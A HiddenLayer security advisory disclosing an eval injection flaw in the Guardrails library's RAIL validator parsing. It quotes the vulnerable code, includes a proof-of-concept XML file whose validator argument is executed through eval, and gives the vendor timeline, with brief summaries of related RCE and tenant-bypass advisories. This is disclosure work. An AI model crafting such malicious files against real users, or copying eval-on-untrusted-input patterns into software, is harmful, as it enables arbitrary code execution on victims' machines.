Eval on XML parameters allows arbitrary code execution when loading RAIL file
September 18, 2024

Products Impacted
This vulnerability is present in Guardrails v0.2.9 to v0.5.0.
CVSS Score: 7.8
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE Categorization
CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code (‘Eval Injection’)
Details
This vulnerability lies in the parse_token method of the ValidatorsAttr class in the guardrails/guardrails/validatorsattr.py Python file.
def parse_token(token: str) -> Tuple[str, List[Any]]:
...
is_hub_validator = token.startswith(hub)
max_splits = 2 if is_hub_validator else 1
validator_with_args = token.strip().split(":", max_splits)
if len(validator_with_args) == 1:
return validator_with_args[0].strip(), []
elif is_hub_validator and len(validator_with_args) == 2:
return ":".join(validator_with_args[0:2]).strip(), []
validator, args_token = (
[":".join(validator_with_args[0:2]).strip(), validator_with_args[2]]
if is_hub_validator
else validator_with_args
)
# Split using whitespace as a delimiter, but not if it is inside curly braces or
# single quotes.
pattern = re.compile(r"\s(?![^{}]*})|(?<!')\s(?=[^']*'$)")
tokens = re.split(pattern, args_token)
# Filter out empty strings if any.
tokens = list(filter(None, tokens))
args = []
for t in tokens:
# If the token is enclosed in curly braces, it is a Python expression.
t = t.strip()
if t[0] == "{" and t[-1] == "}":
t = t[1:-1]
try:
# Evaluate the Python expression.
t = eval(t)
except (ValueError, SyntaxError, NameError) as e:
raise ValueError(
f"Python expression `{t}` is not valid, "
f"and raised an error: {e}."
)
args.append(t)
return validator.strip(), argsThe error is due to the use of the eval function to parse the arguments of a validator from an XML file. This can easily be exploited with the code below
import guardrails as gd
guard = gd.Guard.from_rail('malicious.xml')And the malicious.xml file.
<rail version="0.1">
<output
type="string"
validators="test:{print('\n\narbitrary code execution\n\n')};"
/>
</rail>When the user loads the maliciously constructed XML file, which they may have found recommended on a forum or GitHub repo, the contents of the validators attribute of the output tag are split along the ‘:’ character into the validator on the right and its arguments on the left. If the arguments are wrapped in ‘{}’, they are passed into an eval function in the parse_token function in guardrails/guardrails/validatorsattr.py. This allows arbitrary code execution on the victim’s device.
Timeline
July, 8 2024 — Reached out to multiple administrators through their communication channel
July, 9 2024 — Reached out to one more administrator
July, 16 2024 — Vendor responded asking we send the report to the email contact@guardrailsai.com
September, 6 2024 — Final attempt to reach out prior to disclosure date
September, 6 2024 — Vendor responded asking how best to handle this
September, 9 2024 — Responded to vendor answering their questions
September, 16 2024 — Vendor responded confirming fixes will be merged and pushed on 17 September 2024
September, 17 2024 — Vendor reached out to say the fix has been deployed to version 0.5.10
September, 18 2024 — HiddenLayer public disclosure
Project URL
https://github.com/guardrails-ai/guardrails
Researcher: Leo Ring, Security Research Intern, HiddenLayer
Related SAI Security Advisory
June 12, 2026
Post-Authentication RCE via update_collection
Any authenticated user with UPDATE_COLLECTION permission can achieve remote code execution by updating a collection's embedding function to reference a malicious HuggingFace model with trust_remote_code: true. The update_collection endpoint uses the same build_from_config() code path as CVE-2026-45829. Authentication runs before model loading, so this is not a pre-authentication issue, but the model instantiation itself is unguarded.
June 12, 2026
V1 API Tenant Isolation Bypass via Null Tenant/Database Context
All V1 collection-level endpoints pass None for tenant and database to the authorization layer, making tenant-scoped access control impossible through V1, regardless of which authorization provider is configured. V1 cannot be disabled. Combined with CVE-2026-45830, any authenticated user has unrestricted read/write access to any collection by UUID through V1 endpoints.